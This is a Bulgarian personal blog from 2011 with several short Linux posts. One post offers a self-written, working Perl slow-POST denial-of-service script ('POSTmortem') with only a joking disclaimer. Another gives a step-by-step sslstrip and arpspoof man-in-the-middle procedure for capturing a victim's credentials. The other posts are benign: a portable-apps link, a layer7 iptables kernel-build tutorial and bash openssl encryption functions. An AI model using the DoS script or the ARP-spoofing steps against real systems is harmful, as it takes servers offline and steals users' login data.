четвъртък, 21 април 2011 г.

Portable Linux Apps

 http://portablelinuxapps.org/
Преди броени минути открих сайт който предлага пакетирани множество linux приложения заедно с всички техни депендънсита. За непросветените това ги прави portable. Местим си ги където искаме и те работят по един и същи начин ... край на кавките между библиотеките!

Просто като идея ...
TinyCore =10MB
няколко необходими приложения ~ 100MB
всичко това опаковано =priceless :)

POSTmortem

След като чух за атаката slowloris и в последствие за вариация при която се атакува пост заявката (което носи IIS bonus).
Започнах да издирвам начин за практическа проверка на атаката. Това доведе до откриването на rudy (R-U-Dead-Yet) който обаче се оказа твърде бъгъв и зле написан за да доведе до реални резултати.
За радост обаче аз не мога да пиша на perl което задължително означаваше, че ще опитам. Резултата е POSTmortem.

Употребата на всичко в поста и целия блог а и целия свят си е на ваша отговорност! Ако това ще ви накара да си мислите по-хубави неща за мен ... е тогава публикацията е от чисто научен характер и няма за цел да събори някой сървър.

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use threads;

my $host = "хоста за тест";
my $port = 80;
my $tcpto = 5;
my $post = "action скрипта който обработва пост заявката";

my $sock;
my $attack_param = "пост параметъра който ще тестваме";

my $a = 0;
my $i = 1;
my $num = 2; #брой нишки и съответно конекции (всяка яде по 1М рам)
my @thrs;
while ( $i < $num ) {
print "Spawning thread: $i\n";
$thrs[$i] = threads->create( \&conn);
  sleep 18; #интервал между събуждането на нова нишка
$i++;
}

print "waiting for threads to finish";
map {my $k = $_->join} threads->list;

sub conn {
my $primarypayload =
"POST /$post HTTP/1.1\r\n"
. "Host: $host\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  . "Content-Length: 100000000\r\n" #колкото повече толкова повече
. "Connection: keep-alive\r\n"
. "Cookie: ако се налага(формата е: нещо=нещо; нещо2=нещо–друго)\r\n"
. "\r\n"
. "$attack_param=\r\n";

if (
$sock = new IO::Socket::INET(
# LocalAddr => "$laddr",
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
print $sock "$primarypayload";
print "[-]Header Send!\n";
}
else {
print "[*]Error - Cannot create socket!\n";
}

while(1) {
sleep 10; #през колко време ще му пращаме по капка
print $sock "x"; #капката
}
} 

EOF  

TODO 
ако на някой му се занимава може да го направи да приема опциите от командния ред за да не се рови из кода и да напише всяка нишка да буди по повече от 1 конекция.  

sslstrip

Всичко написано в този пост се ползва на собствена отговорност и никой освен Вас няма да е виновен ако си счупите главата!(и като стана дума, това важи за информацията в целия блог)

Този пост е вдъхновен от пост на колегата Singu в http://chzv.net.
По-точно този пост http://chzv.net/security/sslstrip-over-wifi

Тук ще си говорим за по-различен случай при който дали атаката е върху wifi или не няма значение.

Целта е да се хваща стрипнат от ssl криптация поток от информация.

Ето упътване стъпка по стъпка:

1. Сваляме и разпакетираме инструмента - sslstrip:
# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
# tar zxvf sslstrip-0.7.tar.gz
Тук е момента да се чувствате като дете което отваря коледен подарък :)


2.  Настройки на системата, рутиране и sslstrip
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# python sslstrip.py -f -w sslcreds-captured

пренасочваме целят идващ трафик на порт 80 към порт 10000 (дефолтния порт за sslstrip и пускаме sslstrip да записва каквото си е намерил във файла sslcreds-captured

3. Време за отрова
# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254

където 192.168.0.141 е жертвата а 192.168.0.254 - gateway-ят

4. Чакаме

5. Четем файла sslcreds-captured
Какво ли има там ?!

iptables l7 в debian

Това е туториъл който намерих оригинално на
http://ogordo.com/instalacao-do-layer7-no-debian/

Там е на някакъв език който аз определям като испански но не мога да съм сигурен. Прекарах го през google translate и не съм много сигурен колко успешен е превода но аз лично тествах командите които е изпълнявал автора и мога да кажа че довеждат до работеща система с layer 7 подръжка. Като бонус получаваме дебиански пакет :)

Забележка: Авторите на iptables предупреждават че той съвсем не е направен за такъв тип филтрирания. Така че ... знаете си всичко е на ваша отговорност :)

Implementing layer7 Linux Debian Lenny with kernel 2.6.28 and iptables 1.4.2. After several attempts to recompile the kernel on Debian Lenny layer7 to implement and suffer a lot with the famous message "kernel panic, I managed to recompile it in accordance with the commands below.

Installing needed packages:
# aptitude install libncurses5-dev
# aptitude install kernel-package
# aptitude install zlib1g-dev 


Enter the source directory and download files.

# cd / usr / src
# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.tar.bz2
# wget http://www.netfilter.org/projects/iptables/files/iptables-1.4.2.tar.bz2
# wget http://downloads.sourceforge.net/l7-filter/netfilter-layer7-v2.21.tar.gz
# wget http://downloads.sourceforge.net/l7-filter/l7-protocols-2008-04-23.tar.gz
# wget http://merkel.debian.org/~jurij/2.6.28-1/i386/config-2.6.28-1-686.gz

Removing iptables:

# aptitude purge iptables

Unpacking the packages:

# tar jxvf linux-2.6.28.tar.bz2
# tar jxvf iptables-1.4.2.tar.bz2
# tar zxvf netfilter-layer7-v2.21.tar.gz
# tar zxvf l7-protocols-2008-04-23.tar.gz
# uncompress config-2.6.28-1-686.gz

Creating a link to the kernel directory:

# ln -s /usr/src/linux-2.6.28 /usr/src/linux

Copying the boot settings and applying patches to the kernel layer7:

# cd /usr/src/linux
# cp ../config-2.6.28-1-686 .config
# patch -p1 < ../netfilter-layer7-v2.21/kernel-2.6.25-2.6.28-layer7-2.21.patch

Compiling and installing kernel
# make oldconfig
(Enter for all questions)

# Make menuconfig

Enter the directory Networking -> Networking Options -> Network Packet Filtering framework (netfilter) -> Core Netfilter Configuration

Select the modules (M) layer7 match and support (M) string match support

(M) layer7 match support #MARK AS MODULE
(M) string match support  #MARK AS MODULE

Exit through the exit, the last screen, choose save to the. Config, ie, the last exit you will be prompted to save. Now it's simple, just compile.

# make-kpkg -initrd kernel_image

It was created a linux-image-file-2.6.28_2.6.28 10.00.Custom_i386.deb in / usr / src directory and install again.

# cd /usr/src
# dpkg -i linux-image-2.6.28_2.6.28-10.00.Custom_i386.deb


Pronto, the new kernel is already installed.

Applying the patches and installing iptables
Type:

# cd /usr/src/iptables-1.4.2

Copy the files to the directory libxt_layer7.c libxt_layer7.man iptables:

# cp ../netfilter-layer7-v2.21/iptables-1.4.1.1-for-kernel-2.6.20forward/* extensions/
Installing iptables:

# ./configure –with-ksource=/usr/src/linux
# make
# make install
# cd /usr/src/l7-protocols-2008-04-23
# make install


Okay, just reboot and use!

# reboot

If by chance Debian does not automatically load the module, run the following command:

# modprobe ipt_layer7

Some rules:

iptables-A FORWARD-m-layer7 l7proto MSNMessenger-j DROP
iptables-A FORWARD-m-layer7 l7proto bittorrent-j DROP

вторник, 19 април 2011 г.

Криптиране от команден (bash скрипт) ред в Linux

наскоро ми трябваше сигурен начин да криприрам информацията с която един bash скрип работи. Това което намерих са следните функции:

function encrypt {
  if [ -n "$1" ]; then
  openssl aes-256-cbc -a -salt -in "$1" -out "$1.enc"
  else
  openssl aes-256-cbc -a -salt
  fi
}

function decrypt {
  if [ -n "$1" ]; then
  openssl aes-256-cbc -a -d -in "$1" -out "${1%\.enc}" else
  openssl aes-256-cbc -a -d
  fi
}

разбира се може да се ползват и други алгоритми не само aes-256-cbc


ако поставим горните редове в .bashrc ще имаме възможност да изпълняваме команди от типа на:
за криптиране на архив
tar -czf - *|encrypt > allfiles.tgz.enc

за декриптиране
decrypt allfiles.tgz.enc

за декриптиране и разархивиране
cat allfiles.tgz.enc|dectypt|tar -xzf -